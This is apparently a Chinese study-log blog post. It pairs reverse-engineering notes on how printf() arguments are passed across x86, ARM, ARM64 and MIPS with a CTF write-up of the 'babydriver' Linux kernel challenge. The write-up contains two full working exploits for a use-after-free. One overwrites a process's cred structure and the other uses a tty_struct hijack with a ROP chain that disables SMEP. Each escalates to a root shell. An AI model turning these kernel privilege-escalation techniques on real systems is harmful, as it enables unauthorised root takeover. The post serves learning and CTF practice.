学习打卡6:printf()函数 和 babydriver

督促自己:2020-9-14

学习记录:

《逆向工程权威指南》上

printf()函数与参数传递

#include<stdio.h>
int main()
{
		printf("a=%d;b=%d;c=%d",1,2,3);
		return 0;
};
  • X86

    传递三个参数,在MSVC下的汇编:

在这里插入图片描述

  • printf()函数的参数以逆序存入栈中;
  • 32位环境下,32位地址指针和int类型数据都占据32位/4字节空间,所以四个参数共占用:4x4=16字节
  • “add esp,X”指令修正esp寄存器中的栈指针。通常情况下判断这条指令参数的数量:变量总数=X÷4

GCC+GDB:

$ gcc 1.c -g -o 1     #生成可执行文件中的debug信息
$ gdb 1

传递8个参数:

优先使用RDI、RSI、RDX、R8、R9寄存器传递前六个参数,然后利用栈传递其余的参数。其中,GCC把字符串指针储存到了EDI寄存器、而非完整的RDI寄存器。

  • ARM

    ARM在传递参数时,通常会进行拆分:把前4个参数传递给R0~R3寄存器,然后利用传递其余的参数,获取参数是,遵循的函数调用约定是fastcall约定或win64约定。

    • 32位ARM 、非经优化的Keil+ARM模式

在这里插入图片描述

 可见:R0 寄存器传递格式化字符串,R1传递1,R2传递2,R3传递3
  • 开启了优化选项的Keil6/2013(Thmub模式)

在这里插入图片描述

和上面没有太大区别
  • 开启优化选项的Keil6/2013(ARM模式) + 无返回值
去掉`return 0`,反汇编代码:

在这里插入图片描述

当程序最后的语句是调用另外一个函数时,编译器通常都会进行这种优化(最后一条指令是B指令,不再是之前的BL指令),原因:

> 1.  栈和SP都没有发生变化
> 2. 调用printf()函数是程序的最后一条指令:调用之后程序再无其他操作
  • ARM、非经优化的GCC(Linaro)4.9

在这里插入图片描述

- stp(Store Pair)指令把FP(X29)和LR(X30)的值推送入栈。
- `”ADD X29,SP,0“`指令构成栈帧
- `"ADRP/ADD"`指令对构建了字符串的指针。
  • 传递8个参数:
Optimizing Keil 6/2013 : ARM模式

在这里插入图片描述

 程序分为以下几个部分:

- 函数序言

  `STR LR,[SP,#var_4]!`将LR寄存器的值推送入栈

  `SUB SP,SP,#Ox14`修改栈指针SP,以便在栈内分配0x14(即20)字节的存储空间。

- 使用栈传递5、6、7、8

- 通过栈传递数值4:

- 通过寄存器传递1、2、3

- 调用printf()函数

- 函数尾声

Optimizing Keil 6/2013: Thumb模式

- 代码和ARM模式的代码相似,但是参数入栈的顺序不同。Thmub模式会在第一批次将8推送入栈,第二批次将7、6、5推送入栈,第三批将4推送入栈。

Optimizing Xcode 4.6.3 (LLVM): ARM模式

在这里插入图片描述

- 与前面的代码十分雷同,不同在STMFA (Store Multiple Full Ascending)指令。STMFA(Store Multiple Full Ascending)和STMIB(Store Multiple Increment Before)是同义词:首先增加SP指针的值,然后数据推送入栈;而不是先入栈,再调整SP指针。

Optimizing Xcode 4.6.3 (LLVM): Thumb-2模式

除了存在明显Thumb指令特征,ARM和Thumb模式编译出的代码并无实际区别。

  • ARM64

    Non-optimizing GCC (Linaro) 4.9

    X-或W-寄存器传递函数的前8个参数。程序使用 栈传递九个参数。

MIPS

  • 在MIPS平台上编译时,编译器不会使用puts()函数代替printf()函数,而且它还会使用$5$7寄存器(即$A0$A2)传递前3个参数

    这三个寄存器都是“A-”开头的寄存器,因为他们就是负责传递参数的寄存器。

  • 传递9个参数:

    在传递多个参数时,MIPS会使用 A 1 − A1- A1A3传递前四个参数,使用栈传递其余参数。(此平台为“O32”函数调用约定)。

    SW(Store Word):用以把寄存器的值写入内存。(MIPS的指令集很小,没有吧数据直接写入内存地址的那类指令),常组合使用LI/SW指令。

总结

调用函数的时候,程序的传递过程大体如下:

x86
PUSH 3rd argument
PUSH 2nd argument
PUSH 1st argument
CALL function
; modify stack pointer (if needed)

x64 (MSVC)
MOV RCX,1st argument
MOV RDX, 2nd argument
MOV R8,3rd argument
MOV R9,4th argument
PUSH 5th,6th argument, etc (if needed)
CALL function
; modify stack pointer (if needed)

x64 (GCC)
MOV RDI,1st argument
MOV RSI, 2nd argument
MOV RDX, 3rd argument
MOV RCX,4th argument
MOV R8,5th argument
MOV R9,6th argument
...
PUSH 7th, 8th argument, etc (if needed)
CALL function
; modify stack pointer (if needed)

ARM
MOV RO,1st argument
MOV R1,2nd argument
MOV R2,3rd argument
MOV R3,4th argument
; pass 5th, 6th argument, etc, in stack (if needed)
BL function
; modify stack pointer (if needed)

ARM64
MOV X0,1st argument
MOV X1,2nd argument
MOV X2,3rd argument
MOV X3,4th argument
MOV X4,5th argument
MOV X5,6th argument
MOV X6,7th argument
MOV X7,8th argument
; pass 9th, 10th argument, etc, in stack (if needed)
BL CALL function
; modify stack pointer (if needed)

MIPS ( 032调用约定)
LI $4,1st argument ; AKA $A0
LI $5,2nd argument ; AKA $A1
LI $6,3rd argument ; AKA $A2
LI $7,4th argument ; AKA $A3
; pass 5th, 6th argument, etc, in stack (if needed)
LW temp_reg, address of function
JALR temp_reg

babydriver

key: UAF

函数:

babyioctl: 定义了 0x10001 的命令,可以释放全局变量 babydev_struct 中的 device_buf,再根据用户传递的 size 重新申请一块内存,并设置 device_buf_len。

// local variable allocation has failed, the output may be wrong!
void __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
  size_t v3; // rdx
  size_t v4; // rbx
  __int64 v5; // rdx

  _fentry__(filp, *(_QWORD *)&command);
  v4 = v3;
  if ( command == 0x10001 )
  {
    kfree(babydev_struct.device_buf);
    babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
    babydev_struct.device_buf_len = v4;
    printk("alloc done\n", 0x24000C0LL, v5);
  }
  else
  {
    printk("\x013defalut:arg is %ld\n", v3, v3);
  }
}

babyopen: 申请一块空间,大小为 0x40 字节,地址存储在全局变量 babydev_struct.device_buf 上,并更新 babydev_struct.device_buf_len

int __fastcall babyopen(inode *inode, file *filp)
{
  __int64 v2; // rdx

  _fentry__(inode, filp);
  babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 0x40LL);
  babydev_struct.device_buf_len = 64LL;
  printk("device open\n", 0x24000C0LL, v2);
  return 0;
}

babyread: 先检查长度是否小于 babydev_struct.device_buf_len,然后把 babydev_struct.device_buf 中的数据拷贝到 buffer 中,buffer 和长度都是用户传递的参数

void __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx

  _fentry__(filp, buffer);
  if ( babydev_struct.device_buf )
  {
    if ( babydev_struct.device_buf_len > v4 )
      copy_to_user(buffer, babydev_struct.device_buf, v4);
  }
}

babywrite: 类似 babyread,不同的是从 buffer 拷贝到全局变量中

void __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx

  _fentry__(filp, buffer);
  if ( babydev_struct.device_buf )
  {
    if ( babydev_struct.device_buf_len > v4 )
      copy_from_user(babydev_struct.device_buf, buffer, v4);
  }
}

babyrelease: 释放空间

int __fastcall babyrelease(inode *inode, file *filp)
{
  __int64 v2; // rdx

  _fentry__(inode, filp);
  kfree(babydev_struct.device_buf);
  printk("device release\n", filp, v2);
  return 0;
}

还有 babydriver_init() 和 babydriver_exit() 两个函数分别完成了 /dev/babydev 设备的初始化和清理。

漏洞:

存在一个伪条件竞争引发的 UAF 漏洞,也就是说如果我们同时打开两个设备,第二次会覆盖第一次分配的空间,因为 babydev_struct 是全局的。同样,如果释放第一个,那么第二个其实是被是释放过的,这样就造成了一个 UAF。

通过我们对slub分配器的了解,相同大小的会被放在一块,一个进程的权限是由uid决定,uid保存在cred,cred结构在每一个进程中都有一个,并且保存了该进程的权限信息,于是思路是,我们有了一个UAF,使某个进程的cred结构体被放进这个UAF的空间,然后我们能够控制这个cred结构体,通过write写入uid。

如何控制cred结构?

由于相同大小的内存块放在一起,那么可以通过ioctl改变大小,使得和cred结构大小一样,接下来只需要在触发UAF的时候新建一个cred结构,新建的结构就很有可能被放进这个UAF的空间里。

根据 UAF 的思想,思路如下:

  1. 打开两次设备,通过 ioctl 更改其大小为 cred 结构体的大小
  2. 释放其中一个,fork 一个新进程,那么这个新进程的 cred 的空间就会和之前释放的空间重叠
  3. 同时,我们可以通过另一个文件描述符对这块空间写,只需要将 uid,gid 改为 0,即可以实现提权到 root

需要确定 cred 结构体的大小:

  1. 查看源码
  2. 编译一个带符号的内核,直接查看。

查看源码,去掉debug选项,也可以计算出来,大小是0xa8。源码如下:

http://elixir.free-electrons.com/linux/v4.4.72/source/include/linux/cred.h#L118

exp1:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

int main()
{
    // 打开两次设备
    int fd1 = open("/dev/babydev", 2);
    int fd2 = open("/dev/babydev", 2);

    // 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
    ioctl(fd1, 0x10001, 0xa8);

    // 释放 fd1
    close(fd1);

    // 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
    int pid = fork();
    if(pid < 0)
    {
        puts("[*] fork error!");
        exit(0);
    }

    else if(pid == 0)
    {
        // 通过更改 fd2,修改新进程的 cred 的 uid,gid 等值为0
        char zeros[30] = {0};
        write(fd2, zeros, 28);

        if(getuid() == 0)
        {
            puts("[+] root now.");
            system("/bin/sh");
            exit(0);
        }
    }

    else
    {
        wait(NULL);
    }
    close(fd2);

    return 0;
}

思路2:

使用tty_struct,tty也是一种设备,通过’/dev/ptmx’可以打开这个设备,去修改这个设备的函数指针,从而使得对这个设备的操作变为我们所能控制的,也就是说,我们控制了内核空间的执行流。

当内核开启了SMEP后,无法在内核空间直接执行用户空间代码,因此需要绕过SMEP保护来提权。系统根据CR4寄存器的第20位判断是否开启SMEP保护,CR4寄存器的值可通过诸如mov cr4, xxx来修改。为了关闭SMEP,通常向CR4寄存器写入0x6f0。

通过open("/dev/ptmx", O_RDWR)来让内核分配一个tty_struct结构体:

struct tty_struct {
    int magic;
    struct kref kref;
    struct device *dev;
    struct tty_driver *driver;
    const struct tty_operations *ops;
    int index;
    /* Protects ldisc changes: Lock tty not pty */
    struct ld_semaphore ldisc_sem;
    struct tty_ldisc *ldisc;
    struct mutex atomic_write_lock;
    struct mutex legacy_mutex;
    struct mutex throttle_mutex;
    struct rw_semaphore termios_rwsem;
    struct mutex winsize_mutex;
    spinlock_t ctrl_lock;
    spinlock_t flow_lock;
    /* Termios values are protected by the termios rwsem */
    struct ktermios termios, termios_locked;
    struct termiox *termiox;    /* May be NULL for unsupported */
    char name[64];
    struct pid *pgrp;       /* Protected by ctrl lock */
    struct pid *session;
    unsigned long flags;
    int count;
    struct winsize winsize;     /* winsize_mutex */
    unsigned long stopped:1,    /* flow_lock */
              flow_stopped:1,
              unused:BITS_PER_LONG - 2;
    int hw_stopped;
    unsigned long ctrl_status:8,    /* ctrl_lock */
              packet:1,
              unused_ctrl:BITS_PER_LONG - 9;
    unsigned int receive_room;  /* Bytes free for queue */
    int flow_change;
    struct tty_struct *link;
    struct fasync_struct *fasync;
    wait_queue_head_t write_wait;
    wait_queue_head_t read_wait;
    struct work_struct hangup_work;
    void *disc_data;
    void *driver_data;
    spinlock_t files_lock;      /* protects tty_files list */
    struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
    int closing;
    unsigned char *write_buf;
    int write_cnt;
    /* If the tty has a pending do_SAK, queue it here - akpm */
    struct work_struct SAK_work;
    struct tty_port *port;
} __randomize_layout;

主要关注第五个成员const struct tty_operations *ops

struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver,
            struct file *filp, int idx);
    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int  (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int  (*write)(struct tty_struct * tty,
              const unsigned char *buf, int count);
    int  (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    int  (*write_room)(struct tty_struct *tty);
    int  (*chars_in_buffer)(struct tty_struct *tty);
    int  (*ioctl)(struct tty_struct *tty,
            unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty,
                 unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty,
            unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
    int (*get_icount)(struct tty_struct *tty,
                struct serial_icounter_struct *icount);
    void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
    int (*poll_init)(struct tty_driver *driver, int line, char *options);
    int (*poll_get_char)(struct tty_driver *driver, int line);
    void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
    int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

它是一个函数表,当操作打开的/dev/ptmx时,会调用tty_operations中相应的函数。通过劫持函数表来stack pivot进而通过ROP关闭SMEP并返回到用户空间代码。

内核的ROP其实和用户空间ROP相差无几,不过还是有几个细节内容需要考虑,比如,栈在哪儿?没有栈咋ROP呢?没有栈,我们就自己造栈嘛,通过一个gadget,比如xchg eax, esp,注意这里是eax和esp,32位的,就可以做到了。原理就是由于在执行那个ioctl的时候eax正好是要执行的指令的地址,换句话说,就是gadget的地址,而eax截取了低32位,如果是整个64位,rax必然是一个内核空间的地址,可是低32位,就落到用户空间了。

于是我们mmap这个位置,xchg eax, esp,使得esp变为这个值,这样栈就落到了用户空间以内。虽然没法执行代码,但是可以获取数据啊,于是我们就从用户空间获取数据来ret,然后执行内核空间的代码。

tty_struct使用大小为0x400的slab(0x200~0x400,具体原因可见slab的划分),但tty_operations并不通过slab分配。

几个难点如下:

  1. 如何获取控制流?已解决,通过UAF使得tty_struct覆盖我们释放的位置,我们可以控制tty_struct,然后改写它的操作即可。

  2. 如何设定栈?已解决,xchg eax, esp。

  3. 如何关掉smep?已解决,通过ROP调用内核空间的gadget写入关掉smep的新cr4值到cr4寄存器里。

  4. 如何获取权限?已解决,在关掉smep之后,用户空间调用commit_creds(prepare_kernel_creds(0))即可,这两个函数都是位于内核空间的,可是只要我们知道他们的符号位置,就可以调用内核函数,因为回到用户空间之后,我们的特权还是ring 0的,只是内存位置回来了而已。

  5. 如何获取shell?还需要解决?直接system("/bin/sh");不就完了,用户空间的代码可是我们自己写的啊!

  6. 实际问题:如何写ROP链?

我们需要如下的gadget:

  1. xchg eax, esp来设置栈,用这个gadget覆盖ioctl操作函数嘛。

  2. 写入cr4,来关闭smep。

  3. swapgs,回到用户空间之前的准备。

  4. iretq,用来回到用户空间特权级方便打开shell。

  5. commit_creds

  6. prepare_kernel_cred

  7. 打开shell。

前四个直接在刚才生成的gadget中去找就可以了,后三个中的4和5,需要内核符号,在/proc/kallsyms文件可以读取到内核所有符号的地址,所以解决了,最后一个打开shell,就是用户空间的地址

步骤:

tty_operations.ioctl = xchg_esp_eax;
fake_stack = mmap(xchg_esp_eax & 0xfffff000, 0x3000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
rop[0] = p_rxx;
rop[1] = 0x6f0 ; 
rop[2] = write_cr4; // mov cr4, rxx
rop[3] = get_root;
rop[4] = swapgs;
rop[5] = iretq;
rop[6] = get_shell;
rop[7] = user_cs;
rop[8] = user_eflags;
rop[9]= user_sp;
rop[10]= user_ss;
memcpy(xchg_esp_eax & 0xffffffff, data, sizeof(data));

ROP链如上,在对打开的/dev/ptmx进行操作时,执行xchg eax, esp,这个时候rax的值是xchg eax, esp的地址,使得栈被迁移到了我们可控的地方xchg_esp_eax & 0xffffffff。0到2步即修改CR4的值来关闭SMEP,第3步提权,接着4到5步用于返回用户空间(使用iretq指令返回到用户空间,在执行iretq之前,执行swapgs【64bit下】指令。该指令通过用一个MSR中的值交换GS寄存器的内容,用来获取指向内核数据结构的指针,然后才能执行系统调用之类的内核空间程序)。

exp2:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sched.h>
#include <errno.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>

struct _tty_operations {
	struct tty_struct * (*lookup)(struct tty_driver *driver,
			struct inode *inode, int idx);
	int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
	void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
	int  (*open)(struct tty_struct * tty, struct file * filp);
	void (*close)(struct tty_struct * tty, struct file * filp);
	void (*shutdown)(struct tty_struct *tty);
	void (*cleanup)(struct tty_struct *tty);
	int  (*write)(struct tty_struct * tty,
		      unsigned char *buf, int count);
	int  (*put_char)(struct tty_struct *tty, unsigned char ch);
	void (*flush_chars)(struct tty_struct *tty);
	int  (*write_room)(struct tty_struct *tty);
	int  (*chars_in_buffer)(struct tty_struct *tty);
	int  (*ioctl)(struct tty_struct *tty,
		    unsigned int cmd, unsigned long arg);
	long (*compat_ioctl)(struct tty_struct *tty,
			     unsigned int cmd, unsigned long arg);
	void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
	void (*throttle)(struct tty_struct * tty);
	void (*unthrottle)(struct tty_struct * tty);
	void (*stop)(struct tty_struct *tty);
	void (*start)(struct tty_struct *tty);
	void (*hangup)(struct tty_struct *tty);
	int (*break_ctl)(struct tty_struct *tty, int state);
	void (*flush_buffer)(struct tty_struct *tty);
	void (*set_ldisc)(struct tty_struct *tty);
	void (*wait_until_sent)(struct tty_struct *tty, int timeout);
	void (*send_xchar)(struct tty_struct *tty, char ch);
	int (*tiocmget)(struct tty_struct *tty);
	int (*tiocmset)(struct tty_struct *tty,
			unsigned int set, unsigned int clear);
	int (*resize)(struct tty_struct *tty, struct winsize *ws);
	int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
	int (*get_icount)(struct tty_struct *tty,
				struct serial_icounter_struct *icount);
	struct file_operations *proc_fops;
};
#define KERNCALL __attribute__((regparm(3)))

void ( * commit_creds )(void *) KERNCALL ;
size_t* (* prepare_kernel_cred)(void *) KERNCALL ;


size_t swapgs = 0xffffffff81063694;
size_t xchg_esp_eax = 0xFFFFFFFF81007808;//0xffffffff8100008a;
size_t iretq  = 0xffffffff814e35ef;
size_t p_rdi  = 0xffffffff810d238d;
size_t write_cr4 = 0xFFFFFFFF810635B0;
//unsigned long user_cs, user_ss, user_eflags;

unsigned long user_cs, user_ss, user_eflags,user_sp	;
void save_stats() {
	asm(
		"movq %%cs, %0\n"
		"movq %%ss, %1\n"
		"movq %%rsp, %3\n"
		"pushfq\n"
		"popq %2\n"
		:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
 		:
 		: "memory"
 	);
}


void getshell(){
	system("/bin/sh");
}

void getroot(){
	commit_creds= 0xffffffff810a1420;
	prepare_kernel_cred =0xffffffff810a1810;	
	size_t cred = prepare_kernel_cred(0);
	commit_creds(cred);
}

struct _tty_operations tty_operations;
char buff[0x1000];
size_t data[0X50];
int main(){
	puts("====================start=======================");
	tty_operations.ioctl = xchg_esp_eax;
	int i;
	char *fake_chunk ; 
	//memset(data,0,0x30);
	save_stats();
	int fd1=-1,fd2=-1;
	int trag[0x100];
	fd1 = open("/dev/babydev",O_RDWR);
	if (fd1==-1){
		puts("fd1 open error");
	}
	printf("fd: %d",fd1);
	fd2 = open("/dev/babydev",O_RDWR);
	if (fd2==-1){
		puts("fd2 open error");
	}	
	printf("fd: %d",fd2);

	puts("\n=================free chunk=====================");
	//ioctl(fd1,0x10001,0x2e0);
	ioctl(fd2,0x10001,0x3e0);
	close(fd2);
	puts("\n=================build mem =====================");
	fake_chunk = mmap(xchg_esp_eax & 0xfffff000, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	printf("build fake chunk at mem : %llx\n",fake_chunk);
	data[0] = p_rdi ;
	data[1] = 0x6f0 ; 
	data[2] = write_cr4 ; 
	data[3] = getroot;
	data[4] = swapgs;
	data[5] = fake_chunk+0x1000;
	data[6] = iretq;
	data[7] = getshell;
	data[8] = user_cs;
	data[9] = user_eflags;
	data[10]= user_sp;
	data[11]= user_ss;
	memcpy(xchg_esp_eax & 0xffffffff,data,sizeof(data));
	puts("\n=================SET VTABLE=====================");
	for(i=0;i<0xff;i++){
		trag[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
		if (trag[i] <= -1){
			puts("open error");
			exit(-1);
		}
	}	
	i = read(fd1,buff,0x40);
	printf("read: %d\n",i);
	for (i = 0 ;i <8;i++){
		printf("%llx\n",(size_t )*(buff+i*8)); 
	}
	*(size_t *)(buff+3*8) = &tty_operations;
	write(fd1,buff,0x40);
	puts("\n=================trag vul=====================");
	for(i=0;i<0xff;i++){
		ioctl(trag[i],0,0);
		//printf("%d",i);
	}	
}

参考文献:https://www.anquanke.com/post/id/86490

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/kernel_uaf-zh/

https://sunichi.github.io/2019/04/29/how-to-ret2usr/

明日任务:《逆向工程权威指南》第七章、鲸鱼算法

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值